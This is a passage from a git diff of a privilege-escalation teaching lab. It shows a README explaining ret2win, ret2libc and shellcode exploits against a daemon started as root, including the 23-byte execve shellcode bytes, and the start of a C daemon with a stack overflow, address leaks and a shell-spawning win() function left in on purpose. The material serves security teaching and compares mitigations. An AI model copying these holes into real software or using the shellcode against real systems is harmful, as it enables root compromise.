make test-root # every technique must now yield uid=0(root)
|
||||
```
|
||||
|
||||
### No sudo? The identical kernel path via a user namespace
|
||||
|
||||
```
|
||||
make run-root-ns # uid 0 inside a user namespace — no password needed
|
||||
make test-root # same verdicts; used by CI and anyone without sudo
|
||||
```
|
||||
|
||||
### Baseline — daemon as your normal user (no root anywhere)
|
||||
|
||||
```
|
||||
make run # foowosd runs with your uids
|
||||
make test # exploits land shells, but `root` is expected MISSING
|
||||
```
|
||||
|
||||
### Cleanup ritual (always: this is a root-shell lab)
|
||||
|
||||
```
|
||||
make stop
|
||||
```
|
||||
|
||||
`foowosd` is *not* setuid and nothing in this directory ever chmods `+s` —
|
||||
that is the point. The dangerous state is the **process**, not the file.
|
||||
|
||||
---
|
||||
|
||||
## When you are told to set the SUID bit
|
||||
|
||||
You are **not** going to. This lab deliberately has no SUID bit:
|
||||
|
||||
- `foowosd` is built, owned and mode-regular like any other program.
|
||||
- It becomes root the way real daemons do — by being *started* by root.
|
||||
- `make run-root` uses `sudo` for exactly that, and `make run-root-ns` gets
|
||||
a genuinely uid-0 process without any of it.
|
||||
|
||||
The suid bit belongs to the *sibling* lab (`foosd`). The contrast between the
|
||||
two is the syllabus:
|
||||
|
||||
1. SUID lab: the bit gives **euid 0 but ruid 1000** → `execve("/bin/sh")` is
|
||||
demoted by bash's guard (`euid != ruid` → reset) → shellcode must call
|
||||
`setreuid(0,0)` first (32-byte payload).
|
||||
2. This lab: root **starts** the process → **ruid == euid == 0** → the guard
|
||||
has nothing to reset → the plain 23-byte `execve` shellcode keeps root.
|
||||
|
||||
Same overflow. Same technique. Different *origin* of privilege, different
|
||||
payload shape. That is the lesson in miniature.
|
||||
|
||||
---
|
||||
|
||||
## The protocol
|
||||
|
||||
Whatever kind of client connects, foowosd greets it with:
|
||||
|
||||
```
|
||||
FOOWOSD 1.0 ids=0/0 leak stack=0x7ffd… libc=0x7f… (the banner + leaks)
|
||||
BUF=0x7ffd… (the buffer address)
|
||||
```
|
||||
|
||||
`ids=euid/ruid` is the *"am I root?"* side-channel. foowosc prints a loud
|
||||
warning when euid is not 0 (i.e. you started the daemon as a plain user): the
|
||||
payload will still land, but the shell will be a user shell, and calling the
|
||||
exploit "broken" would be wrong — it is merely not escalating.
|
||||
|
||||
> Spelling note: `ids=`, not `euid=`/`ruid=`. The test harness proves a live
|
||||
> `id` ran by matching the literal `uid=NNN(` shape, so the banner must never
|
||||
> contain a substring that itself satisfies the check. (In the SUID lab this
|
||||
> exact trap produced a spectacular false positive.)
|
||||
|
||||
---
|
||||
|
||||
## The exploit techniques (`foowosc -t …`)
|
||||
|
||||
All four exploit paths below work against foowosd. When the daemon is root,
|
||||
**all four that spawn anything yield root** — unlike the SUID lab, where
|
||||
ret2win/ret2libc were quietly demoted to uid 1000 by bash's guard. Here there
|
||||
is no mismatch to guard against.
|
||||
|
||||
| `-t` | what happens | when daemon is root |
|
||||
|---------------|---------------------------------------------------------------------|---------------------|
|
||||
| `shellcode` | 23-byte `execve("/bin/sh", NULL, NULL)` runs on the stack. | **root shell** (default) |
|
||||
| `ret2win` | jump to `win()` → `execl("/bin/sh")` | **root shell** |
|
||||
| `ret2libc` | ROP: `pop rdi; ret` → `"/bin/sh"` → `system()` | **root shell** |
|
||||
| `demo` | junk overflow only — expect a SIGSEGV in the daemon log | crash, by design |
|
||||
| `leak` | just print the leaks, send no payload | n/a |
|
||||
|
||||
```
|
||||
./foowosc -t shellcode # interactive; default target 127.0.0.1:2344
|
||||
./foowosc -t shellcode -n # send and report, no interactive session
|
||||
```
|
||||
|
||||
A successful interactive session relays your terminal to the shell *on the
|
||||
victim* — there is exactly one shell in the picture, and it is `/bin/sh`
|
||||
running as root inside foowosd. Type `id` to see `uid=0(root)`.
|
||||
|
||||
### Why there is no `ret2win-root` technique here
|
||||
|
||||
foosc had one — it jumped to a `win_root()` that called `setreuid(0,0)`
|
||||
before exec, because a setuid process ran with a real uid that still said
|
||||
1000. A root-*started* process has real uid 0 already; there is nothing to
|
||||
clear, so the extra function and technique would be teaching nothing.
|
||||
Removed.
|
||||
|
||||
---
|
||||
|
||||
## What foowosc does, step by step
|
||||
|
||||
1. **Static analysis** — `objdump -d` of `./foowosd`. Finds
|
||||
`vulnerable_handler`, `win()`, the `lea -0x50(%rbp)` that addresses `buf`,
|
||||
and the first bare `ret`. From the displacement it computes
|
||||
`rip_off = 80 + 8 = 88`. Nothing is hardcoded; this survives a rebuild.
|
||||
2. **Self-introspection** — reads its own `/proc/self/maps` and `dlsym()`s
|
||||
`system`/`read` to learn libc *offsets*. The target's libc base is
|
||||
`leaked_read − off_read`, then `system = base + off_system`, and so on.
|
||||
This delta-arithmetic is why exploits stay alive across libc versions.
|
||||
3. **Connect** — reads the banner/leaks (`ids=`, `stack=`, `libc=`, `BUF=`).
|
||||
4. **Build the payload** — for `shellcode`: 23 bytes of machine code, padding
|
||||
to `rip_off`, then the saved RIP = `buf` (so `ret` jumps onto the code).
|
||||
For `ret2win`/`ret2libc`: addresses computed from analysis — no execution
|
||||
of the stack needed.
|
||||
5. **The alignment fix** — a hijacked bare `ret` hands the callee `rsp ≡ 8
|
||||
(mod 16)`, and glibc's SSE2 code `movaps`-faults on a misaligned stack (the
|
||||
crash reporter logs `si_addr=(nil)` — the tell). foowosc inserts one extra
|
||||
`ret` gadget before the real target, restoring the invariant. Kid-gloves
|
||||
engineering in a shellcode lab, but it is the difference between a payload
|
||||
that "sometimes works" and one that always works.
|
||||
6. **Send, then relay** — the victim process *is* the shell; this process only
|
||||
splices bytes. No local shell, no second reader — the single-read-cursor
|
||||
failure (one byte eaten off every chunk) is documented in `become_shell()`.
|
||||
|
||||
---
|
||||
|
||||
## The daemon's deliberate bugs (all in `foowosd.c`, all real CWE classes)
|
||||
|
||||
| # | bug | CWE | note |
|
||||
|---|-----|-----|------|
|
||||
| 1 | `read(fd, buf, 512)` into a 64-byte stack buffer | CWE-120 | the overflow: 448 bytes past `buf`, saved RIP at +88 |
|
||||
| 2 | `snprintf(line, …, "%.*s", …)` only; but attacker `%` in the echo path | CWE-134 | the leak is the real payload here; a `%n` in a *root* process would be write-what-where as root |
|
||||
| 3 | children keep root while handling untrusted input | CWE-271 | the correct `drop_privs()` (setgroups→setgid→setuid, in that order, with a verify) sits in the file, commented, *deliberately uncalled* |
|
||||
| 4 | `ids=`, `stack=`, `libc=`, `BUF=` disclosed to every client | CWE-200 | without these leaks the shellcode and ret2libc techniques could not compute addresses (ASLR would defeat them) |
|
||||
|
||||
The handler is exactly the same `buf[64]`/`read(512)` shape as the other two
|
||||
labs, so the shared objdump-based discovery pipeline works unchanged.
|
||||
|
||||
---
|
||||
|
||||
## How to inspect the daemon (learning path)
|
||||
|
||||
```
|
||||
make status # is it running? as which uid? file mode shown
|
||||
make run-root # or run / run-root-ns
|
||||
./foowosc -t leak # see the banner and the leaks, send nothing
|
||||
./foowosc -t demo # junk overflow -> SIGSEGV, logged with RIP/rsp
|
||||
./foowosc -t shellcode # the interactive root shell
|
||||
make test-root # full matrix, all techniques, --must-root
|
||||
```
|
||||
|
||||
Crash reporter: on SIGSEGV the daemon logs the faulting address, RIP and RSP.
|
||||
A `ret` into non-canonical `0x4141…` faults at the `ret` itself (RIP like
|
||||
`0x4028xx`, `si_addr=(nil)`) — worth knowing before you misread a log line as
|
||||
a NULL dereference.
|
||||
|
||||
---
|
||||
|
||||
## Why the shellcode is 23 bytes, not 32
|
||||
|
||||
```
|
||||
31 f6 xor esi, esi ; argv = NULL
|
||||
31 d2 xor edx, edx ; envp = NULL
|
||||
48 bf 2f62696e2f736800 movabs rdi, "/bin/sh\0"
|
||||
57 push rdi
|
||||
48 89 e7 mov rdi, rsp
|
||||
6a 3b push 0x3b ; 59 = execve
|
||||
58 pop rax
|
||||
0f 05 syscall
|
||||
```
|
||||
|
||||
The SUID lab needs `setreuid(0,0)` before this. This lab does not, for the
|
||||
reason repeated throughout: **ruid is already 0** because root started the
|
||||
process. `make verify` proves the bytes in `foowosc.c` are byte-for-byte what
|
||||
`shellcode.S` assembles to.
|
||||
|
||||
---
|
||||
|
||||
## Mitigations — what `make hardened` changes
|
||||
|
||||
Hardened build (`-fstack-protector-strong -fPIE -pie -z noexecstack`):
|
||||
|
||||
| technique | vulnerable `foowosd` | hardened `foowosd_hardened` |
|
||||
|-----------|----------------------|------------------------------|
|
||||
| `shellcode` | root shell (executable stack) | SIGSEGV at the canary check / NX |
|
||||
| `ret2win` / `ret2libc` | root shell | canary aborts `ret` — but note: a *PIE* build also makes those addresses random |
|
||||
| `demo` | SIGSEGV, logged | SIGSEGV, logged |
|
||||
|
||||
`make test-hardened` demonstrates this live. The important observation is not
|
||||
just that the mitigations killed the techniques — it is that they did **not**
|
||||
make the daemon "not root". A hardened build that is still *started* as root
|
||||
is still a root daemon; the mitigation only raises the bar for the attacker.
|
||||
Least privilege (`drop_privs()`) and memory safety are two different bugs,
|
||||
and a daemon that does not need root should not have it.
|
||||
|
||||
---
|
||||
|
||||
## Safety rails (same policy as the SUID lab)
|
||||
|
||||
- **Loopback only.** foowosd refuses any bind other than `127.0.0.1` /
|
||||
`localhost` / `::1` unless you pass `-L`. A root daemon on a real interface
|
||||
is a *remote* root service. `-L` exists solely to show the guard; do not
|
||||
use it on anything that matters.
|
||||
- **State is logged loudly.** Startup prints `ruid/euid` and whether this is
|
||||
a root process, so you always know which exploit outcome to expect.
|
||||
- **Verdicts come from exit statuses** in `make test*` (the pty harness's
|
||||
return code), never from grepping its stdout — greppable output lies.
|
||||
- **pty must run cooked + ECHO off** or the harness echoes its own command
|
||||
line and fakes the marker. The harness turns ECHO off and keeps ECHONL on.
|
||||
- **Cleanup ritual:** `make stop` after every session. If the daemon is
|
||||
root-owned, `stop` tells you to run `sudo pkill -x foowosd`.
|
||||
- Never run this on any host you care about. It exists to hand out `uid=0`
|
||||
shells over the loopback interface.
|
||||
|
||||
---
|
||||
|
||||
## Exercises
|
||||
|
||||
1. Run `make run` (user daemon), then `./foowosc -t shellcode`. Why is the
|
||||
shell not root? (Check `ids=` in the banner — foowosc tells you before you
|
||||
even connect.)
|
||||
2. `make stop && sudo make run-root && make test-root`. Explain, from the
|
||||
banner line, why all four techniques now yield `uid=0(root)`.
|
||||
3. In `foowosd.c`, find `drop_privs()` and read *why the order* of
|
||||
`setgroups → setgid → setuid` matters. Decide where in `main()` it would
|
||||
belong, and what the lab's exploit surface becomes once it is actually
|
||||
called.
|
||||
4. Compute `rip_off` by hand from `objdump -d foowosd`: find `buf`'s
|
||||
`lea -0xNN(%rbp)` inside `vulnerable_handler`, then `NN + 8`. foowosc does
|
||||
exactly this; check its math against your own.
|
||||
5. `make hardened && make test-hardened`. Which technique falls to the canary
|
||||
and which to NX? Why does hardening not change what `make status` reports
|
||||
about the *process*?
|
||||
6. Compare the two labs' shellcodes: 23 bytes here, 32 for foosd. What does
|
||||
the extra 9 bytes do, and why is it only needed in the SUID case?
|
||||
7. Read `become_shell()`'s comment about the single read cursor. Recreate the
|
||||
failure mode mentally: two readers on one socket means the login shell eats
|
||||
one byte per chunk — "uid=1000…" arrives as "id=1000…". Why can a relay
|
||||
process never have this bug?
|
||||
|
||||
---
|
||||
|
||||
## Files
|
||||
|
||||
```
|
||||
foowosd.c the vulnerable root daemon (every line commented)
|
||||
foowosc.c the exploit (every line commented)
|
||||
shellcode.S reference assembly for the 23-byte payload
|
||||
tests/pty_wosuid_test.c the pty harness (marker + strict id-shape checks)
|
||||
Makefile build / run / run-root / run-root-ns / test /
|
||||
test-root / verify / hardened / clean …
|
||||
```
|
||||
|
||||
Sibling labs: `../food.c`/`../fooc.c` (user-level baseline, port 2342) and
|
||||
`../suid/` (SUID-root daemon `foosd`/`foosc`, port 2343). Ports are distinct
|
||||
on purpose — you can run all three at once and cross-check their banners'
|
||||
`ids=` lines.
|
||||
1130
wosuid/foowosc.c
Normal file
1130
wosuid/foowosc.c
Normal file
File diff suppressed because it is too large
Load diff
669
wosuid/foowosd.c
Normal file
669
wosuid/foowosd.c
Normal file
|
|
@ -0,0 +1,669 @@
|
|||
/*
|
||||
* ============================================================================
|
||||
* foowosd.c -- "foowosd": an INTENTIONALLY VULNERABLE daemon that becomes
|
||||
* root the honest way: by being STARTED as root.
|
||||
* ============================================================================
|
||||
*
|
||||
* PURPOSE
|
||||
* -------
|
||||
* This is the "no setuid bit" companion to the other two labs:
|
||||
*
|
||||
* food / fooc a plain daemon: the overflow gives you a user shell
|
||||
* foosd / foosc a SETUID-root daemon: root arrives via the +s bit
|
||||
* foowosd/ foowosc THIS one: no +s bit anywhere. Root arrives because
|
||||
* somebody STARTED the process as root.
|
||||
*
|
||||
* The setuid bit is not the only way a process ends up privileged. Any
|
||||
* daemon launched by root -- a `sudo ./foowosd`, a systemd unit with
|
||||
* `User=root`, an init script -- has real uid 0, effective uid 0, and saved
|
||||
* uid 0. To the kernel and to every access-control check it makes, that
|
||||
* process IS root, indistinguishable from one that arrived there via +s.
|
||||
* And an overflow in a root process is a root exploit, filesystem
|
||||
* attributes notwithstanding.
|
||||
*
|
||||
* THAT is the lesson of this file: the setuid bit is a *transfer vehicle*
|
||||
* for privilege, not the privilege itself. "I don't have SUID binaries" is
|
||||
* NOT the same as "I am not vulnerable to privilege escalation". If your
|
||||
* daemon runs as root and it has a reachable memory-safety bug, you have a
|
||||
* root-exploit -- with or without the letter 's' in anyone's file mode.
|
||||
*
|
||||
* WHY THE EXPLOIT HERE IS DIFFERENT FROM THE SUID LAB -- ruid
|
||||
* ----------------------------------------------------------
|
||||
* A setuid-root binary gives the process euid 0 but LEAVES ruid at the
|
||||
* launching user's id (1000). bash and dash notice `euid != ruid` at
|
||||
* startup and reset euid = ruid -- the shell's own guard against this
|
||||
* attack -- which is why foosc's shellcode had to call setreuid(0,0) first.
|
||||
*
|
||||
* A daemon *started* as root has ruid == euid == 0. There is no mismatch
|
||||
* for the shell's guard to notice, so a plain `execve("/bin/sh")` keeps
|
||||
* root -- no setreuid needed. The same 23 bytes that pwnd `food` in the
|
||||
* parent lab, byte for byte, open a *root* shell against this daemon,
|
||||
* because the process they run in is already fully root. The shellcode
|
||||
* chosen for foowosc therefore does not contain a setreuid prefix.
|
||||
*
|
||||
* SAFETY RAILS (identical policy to the SUID lab -- a root daemon is no
|
||||
* less dangerous because it got there without +s)
|
||||
* -------------------------------------------------
|
||||
* * Binds 127.0.0.1 by default and REFUSES a non-loopback bind unless you
|
||||
* pass -L. A root daemon on a real interface is a remote root service.
|
||||
* * Logs at startup whether it is running as root or as a normal user, so
|
||||
* you always know which exploit outcome to expect.
|
||||
* * Same deliberate bugs as food/foosd, so the whole toolchain
|
||||
* (objdump-based offset discovery, leak parsing, alignment fix, pty
|
||||
* harness) carries over unchanged.
|
||||
*
|
||||
* Build: make foowosd
|
||||
* make run-root (needs sudo; starts the daemon as real root)
|
||||
* make run-root-ns (no sudo: user-namespace root, for verification)
|
||||
* make run (baseline: starts it as your normal user)
|
||||
*
|
||||
* HOW TO BECOME ROOT HERE -- and how NOT to
|
||||
* -----------------------------------------
|
||||
* START AS ROOT: sudo make run-root -> ruid=0 euid=0
|
||||
* START AS ROOT (ns): make run-root-ns -> namespaced 0/0 (test-only)
|
||||
* PLAIN USER: make run -> ruid=1000 euid=1000
|
||||
*
|
||||
* The exploit behaves the same in all three cases -- it just yields a root
|
||||
* shell in the first two. That "the agency, not the attribute, is what
|
||||
* matters" property is the whole point of this lab.
|
||||
*
|
||||
* THE BUILD FLAGS (same deliberate removals as the other two labs)
|
||||
* ----------------------------------------------------------------
|
||||
* -fno-stack-protector no canary: the overflow is not detected
|
||||
* -no-pie fixed addresses: win() is a constant
|
||||
* -z execstack executable stack: shellcode can run
|
||||
*
|
||||
* `make hardened` re-enables all three; the maliciously shareable lesson is
|
||||
* that those flags do nothing about the "running as root" design decision.
|
||||
*
|
||||
* Usage: ./foowosd [-h HOST] [-p PORT] [-d] [-L]
|
||||
* ============================================================================
|
||||
*/
|
||||
|
||||
/* Request the gnu decls we need (dprintf, etc.). */
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <arpa/inet.h> /* inet_pton(): parse "127.0.0.1" into bytes. */
|
||||
#include <errno.h> /* errno, strerror(). */
|
||||
#include <fcntl.h> /* dup2() -- hand the accepted socket to the shell. */
|
||||
#include <grp.h> /* setgroups(): part of the (never-called) privilege
|
||||
* drop -- supplementary groups must go first. */
|
||||
#include <netinet/in.h>/* struct sockaddr_in, htons(). */
|
||||
#include <signal.h> /* signal(), sigaction(). */
|
||||
#include <stdarg.h> /* va_list for our log wrapper. */
|
||||
#include <stdint.h> /* uint16_t. */
|
||||
#include <stdio.h> /* dprintf, snprintf. */
|
||||
#include <stdlib.h> /* atoi, _exit. */
|
||||
#include <string.h> /* memset, strncmp, memchr, strlen. */
|
||||
#include <sys/socket.h>/* socket, bind, listen, accept. */
|
||||
#include <sys/stat.h> /* umask. */
|
||||
#include <sys/types.h> /* ssize_t, pid_t. */
|
||||
#include <sys/ucontext.h>/* ucontext_t: REG_RIP etc. for the crash reporter. */
|
||||
#include <sys/wait.h> /* waitpid(). */
|
||||
#include <unistd.h> /* read, write, dup2, fork, getpid, setsid, chdir. */
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
/* Configuration constants */
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
/* Port. 2344 keeps this lab clear of food (2342) and foosd (2343). It is
|
||||
* above 1024 on purpose: binding it needs NO privilege, so root here is
|
||||
* pure design smell -- a correct daemon would drop privileges after bind,
|
||||
* and the lab's whole point is what happens when it does not. */
|
||||
#define FOOWOSD_PORT 2344
|
||||
|
||||
/* Loopback is the ONLY default. -L is required to go further. */
|
||||
#define FOOWOSD_HOST "127.0.0.1"
|
||||
|
||||
/* Size of the overflowed buffer. Same shape as food/foosd so the shared
|
||||
* objdump-based offset detection works unchanged. */
|
||||
#define FOOWOSD_BUFSZ 64
|
||||
|
||||
/* How much read() accepts. The mismatch with FOOWOSD_BUFSZ IS the bug. */
|
||||
#define FOOWOSD_READMAX 512
|
||||
|
||||
/* Size of the second (format-string demo) buffer. */
|
||||
#define FOOWOSD_LOGSZ 128
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
/* Logging (same design as the other labs: the log never reaches the attacker)*/
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
/* g_logfd -- a private copy of stdout taken BEFORE the socket is dup2()'d
|
||||
* over fd 1. Every logmsg() line goes here, so a client that overwrites our
|
||||
* memory or crashes a child never learns internal paths or addresses from
|
||||
* logs (and never mixes its own bytes with ours). */
|
||||
static int g_logfd = -1;
|
||||
|
||||
/* logmsg() -- timestamped, pid-prefixed line to the log descriptor. One
|
||||
* write() per line, so forked children cannot interleave mid-line. */
|
||||
static void logmsg(const char *fmt, ...)
|
||||
{
|
||||
char line[1024]; /* Whole-message scratch. */
|
||||
va_list ap; /* Variadic argument cursor. */
|
||||
int n; /* Bytes formatted. */
|
||||
|
||||
/* va_start MUST precede any use of ap. An uninitialised va_list makes
|
||||
* vsnprintf walk wild stack memory -- a real bug that was hit in the
|
||||
* earlier food.c, hence the comment. */
|
||||
va_start(ap, fmt);
|
||||
n = vsnprintf(line, sizeof(line) - 32, fmt, ap);
|
||||
va_end(ap); /* Always pair va_start with va_end. */
|
||||
if (n < 0)
|
||||
return;
|
||||
|
||||
if (g_logfd >= 0)
|
||||
dprintf(g_logfd, "[foowosd %d] %s\n", (int)getpid(), line);
|
||||
}
|
||||
|
||||
/* read_exact() / write_all() -- the CORRECT I/O helpers, present so you can
|
||||
* hold them next to the deliberately broken read() in vulnerable_handler()
|
||||
* and see the difference: these loop until done and check every result. */
|
||||
__attribute__((unused))
|
||||
static ssize_t read_exact(int fd, void *buf, size_t n)
|
||||
{
|
||||
size_t got = 0;
|
||||
while (got < n) {
|
||||
ssize_t r = read(fd, (char *)buf + got, n - got);
|
||||
if (r < 0) {
|
||||
if (errno == EINTR)
|
||||
continue;
|
||||
return -1;
|
||||
}
|
||||
if (r == 0)
|
||||
break;
|
||||
got += (size_t)r;
|
||||
}
|
||||
return (ssize_t)got;
|
||||
}
|
||||
|
||||
static ssize_t write_all(int fd, const void *buf, size_t n)
|
||||
{
|
||||
size_t sent = 0;
|
||||
while (sent < n) {
|
||||
ssize_t w = write(fd, (const char *)buf + sent, n - sent);
|
||||
if (w <= 0) {
|
||||
if (w < 0 && errno == EINTR)
|
||||
continue;
|
||||
return -1;
|
||||
}
|
||||
sent += (size_t)w;
|
||||
}
|
||||
return (ssize_t)sent;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
/* The ret2win target */
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
/*
|
||||
* win() -- the "easy" backdoor. The same function as in food.c and foosd.c,
|
||||
* and the difference between this lab and the SUID lab is contained in it.
|
||||
*
|
||||
* In the SUID lab this exact code produced a NON-root shell, because foosd
|
||||
* had euid 0 but ruid 1000, and bash reset euid = ruid at startup.
|
||||
*
|
||||
* Here the daemon is STARTED as root, so at this instant ruid == euid == 0.
|
||||
* fork() inherits both ids, execve() changes neither, and bash starts with
|
||||
* equal uid 0s -- its guard has nothing to reset, so execve("/bin/sh") keeps
|
||||
* root. "spawn a shell" works against a genuinely-root process; it only
|
||||
* fails against the half-root (euid-only) state the setuid bit produces.
|
||||
* That asymmetry -- why one lab needs setreuid and this one does not -- is
|
||||
* the entire technical heart of the two labs side by side.
|
||||
*/
|
||||
__attribute__((noinline, used))
|
||||
static void win(void)
|
||||
{
|
||||
pid_t pid;
|
||||
|
||||
logmsg("win() reached -- exec'ing /bin/sh (ruid==euid here, so the shell "
|
||||
"stays root; contrast with foosd where ruid stayed 1000)");
|
||||
|
||||
/* Fork so the daemon's accept-loop child can be reaped and return. */
|
||||
pid = fork();
|
||||
if (pid < 0) {
|
||||
logmsg("win(): fork() failed: %s", strerror(errno));
|
||||
_exit(1);
|
||||
}
|
||||
if (pid > 0) {
|
||||
waitpid(pid, NULL, 0);
|
||||
/* Must NOT return: that would pop attacker bytes as the next RIP. */
|
||||
_exit(0);
|
||||
}
|
||||
|
||||
/* Child. prepare_client_fds() already made fds 0/1/2 the socket. */
|
||||
execl("/bin/sh", "sh", (char *)NULL);
|
||||
_exit(127); /* Only reached if exec failed. */
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
/* The vulnerable handler -- Bug #1 and Bug #2 live here */
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
__attribute__((noinline, used))
|
||||
static void vulnerable_handler(int fd)
|
||||
{
|
||||
char buf[FOOWOSD_BUFSZ]; /* 64 stack bytes. The whole ballgame. */
|
||||
char line[FOOWOSD_LOGSZ]; /* Second buffer, for the format-string demo. */
|
||||
ssize_t n; /* Bytes actually read. */
|
||||
|
||||
/*
|
||||
* The BUF= leak -- the same deliberate CWE-200 disclosure as the other
|
||||
* labs. The stack is ASLR-randomised; without this the shellcode could
|
||||
* not find itself. Real-world leaks of this kind come from %p format
|
||||
* bugs, crash dumps, debug endpoints, or serialised uninitialised
|
||||
* pointers.
|
||||
*
|
||||
* FIX: never print addresses to untrusted clients.
|
||||
*/
|
||||
dprintf(fd, "BUF=%p\n", (void *)buf);
|
||||
|
||||
/*
|
||||
* ====================================================================
|
||||
* BUG #1 -- UNBOUNDED COPY INTO A FIXED STACK BUFFER (CWE-120)
|
||||
* ====================================================================
|
||||
* Identical to the other labs: 512 bytes are accepted into a 64-byte
|
||||
* array, so the attacker writes 448 bytes past the end, overwriting the
|
||||
* saved frame pointer and — 8 bytes later — the saved return address.
|
||||
* On return, `ret` jumps wherever the attacker said:
|
||||
*
|
||||
* [ 64 bytes buf ][ 8 bytes saved rbp ][ 8 bytes RETURN ADDRESS ]
|
||||
*
|
||||
* The ONLY difference from food is *what that means*: here the hijacked
|
||||
* process has real-and-effective uid 0 (it was started as root), so
|
||||
* "attacker controls RIP" becomes "attacker controls root's RIP" --
|
||||
* with no setuid bit anywhere on this filesystem.
|
||||
*
|
||||
* FIXES (in increasing order of strength):
|
||||
* 1. n = read(fd, buf, sizeof(buf) - 1); <-- the real fix
|
||||
* 2. -fstack-protector-strong (canary aborts `ret`)
|
||||
* 3. do not take network input into fixed stack buffers at all
|
||||
* And SEPARATELY: never run this daemon as root; and if you must, drop
|
||||
* privileges the moment you are done binding (see drop_privs()). Memory
|
||||
* safety and least privilege are two different bugs; fix both.
|
||||
*/
|
||||
n = read(fd, buf, FOOWOSD_READMAX); /* <-- CWE-120, THE bug. */
|
||||
if (n <= 0)
|
||||
return;
|
||||
|
||||
/* Echo back a truncated copy so you can watch the overflow in the log.
|
||||
* Clamping for display does not undo the overwrite that already happened. */
|
||||
{
|
||||
ssize_t show = n < FOOWOSD_BUFSZ ? n : FOOWOSD_BUFSZ;
|
||||
logmsg("vulnerable_handler: read %zd bytes, echoing %zd", n, show);
|
||||
(void)write_all(fd, buf, (size_t)show);
|
||||
}
|
||||
|
||||
/*
|
||||
* ====================================================================
|
||||
* BUG #2 -- NETWORK DATA USED AS A FORMAT STRING (CWE-134)
|
||||
* ====================================================================
|
||||
* Same as the other labs: attacker '%'-specifiers in `buf` could read
|
||||
* stack words with %x or write memory with %n. Here the process is
|
||||
* root, so a %n is a write-what-where primitive IN A ROOT PROCESS. It
|
||||
* runs only on a copy in `line`, and only if the payload contains '%'.
|
||||
*
|
||||
* FIX: printf("%s", buf), never printf(buf).
|
||||
*/
|
||||
if (memchr(buf, '%', (size_t)n) != NULL) {
|
||||
snprintf(line, sizeof(line), "%.*s", (int)FOOWOSD_LOGSZ - 1, buf);
|
||||
logmsg("vulnerable_handler: payload contains '%%', echoing it raw");
|
||||
(void)write_all(fd, line, strlen(line));
|
||||
}
|
||||
|
||||
/* On return the (attacker-controlled) saved return address becomes RIP. */
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
/* Crash reporter (same rationale as the other labs: a crash should tell you */
|
||||
/* it was malicious; the fault address is the return address the client */
|
||||
/* supplied). */
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
static void on_sigsegv(int sig, siginfo_t *si, void *ucv)
|
||||
{
|
||||
ucontext_t *uc = (ucontext_t *)ucv;
|
||||
unsigned long rip = 0, rsp = 0;
|
||||
|
||||
if (uc != NULL) {
|
||||
rip = (unsigned long)uc->uc_mcontext.gregs[REG_RIP];
|
||||
rsp = (unsigned long)uc->uc_mcontext.gregs[REG_RSP];
|
||||
}
|
||||
|
||||
logmsg("SIGSEGV: faulting address %p", si ? si->si_addr : (void *)0);
|
||||
logmsg("SIGSEGV: RIP=%#lx RSP=%#lx (RIP is the address the client "
|
||||
"supplied)", rip, rsp);
|
||||
logmsg("SIGSEGV: if RIP is a real address the attacker jumped there; "
|
||||
"if it is an address INSIDE vulnerable_handler itself it IS the "
|
||||
"`ret` instruction: a ret into a non-canonical address (e.g. "
|
||||
"0x4141414141414141) faults at the ret, not at the target.");
|
||||
|
||||
/* Re-raise with the default disposition so the process still dies, with
|
||||
* the correct status, rather than re-executing the faulting instruction
|
||||
* forever (returning from this handler would do exactly that). */
|
||||
signal(sig, SIG_DFL);
|
||||
raise(sig);
|
||||
}
|
||||
|
||||
static void install_crash_reporter(void)
|
||||
{
|
||||
struct sigaction sa;
|
||||
|
||||
memset(&sa, 0, sizeof(sa));
|
||||
sa.sa_sigaction = on_sigsegv; /* Extended two-argument handler. */
|
||||
sa.sa_flags = SA_SIGINFO;
|
||||
sigemptyset(&sa.sa_mask);
|
||||
|
||||
if (sigaction(SIGSEGV, &sa, NULL) < 0)
|
||||
logmsg("sigaction(SIGSEGV) failed: %s", strerror(errno));
|
||||
if (sigaction(SIGBUS, &sa, NULL) < 0)
|
||||
logmsg("sigaction(SIGBUS) failed: %s", strerror(errno));
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
/* fd handling */
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
/* prepare_client_fds() -- put the accepted socket onto fds 0/1/2 so that
|
||||
* every technique (ret2win, ret2libc, shellcode) produces a shell that
|
||||
* automatically speaks over the network. */
|
||||
static void prepare_client_fds(int fd)
|
||||
{
|
||||
if (fd != STDIN_FILENO) dup2(fd, STDIN_FILENO);
|
||||
if (fd != STDOUT_FILENO) dup2(fd, STDOUT_FILENO);
|
||||
if (fd != STDERR_FILENO) dup2(fd, STDERR_FILENO);
|
||||
if (fd > STDERR_FILENO) close(fd); /* Don't leak the spare descriptor.*/
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
/* THE INFORMATION LEAK */
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
/*
|
||||
* send_leaks() -- tell the attacker:
|
||||
*
|
||||
* ids= this process's euid/ruid. THE "AM I ROOT ?" CHECK.
|
||||
* foowosc prints a loud warning when euid is not 0,
|
||||
* because without a root daemon there is no root shell
|
||||
* and the user would otherwise think the exploit broke.
|
||||
* leak stack=... an address on the stack, for the shellcode
|
||||
* leak libc=... the real address of read() inside libc, for ret2libc
|
||||
*
|
||||
* The `ids=` spelling (rather than "euid="/"ruid=") is deliberate: the test
|
||||
* harness proves a live shell by grepping the session transcript for the
|
||||
* strict `id`-output shape "uid=NNN(", and a banner containing "uid=" as
|
||||
* part of "euid="/"ruid=" would itself satisfy a careless grep. This kind of
|
||||
* "the probe and the answer must not share a signature" thinking is what you
|
||||
* do when you write real assertions about untrusted output.
|
||||
*/
|
||||
static void send_leaks(int fd)
|
||||
{
|
||||
long stack_marker = 0x4141414141414141L; /* Obvious in a debugger. */
|
||||
ssize_t (*libc_read)(int, void *, size_t);/* Real address of read(). */
|
||||
|
||||
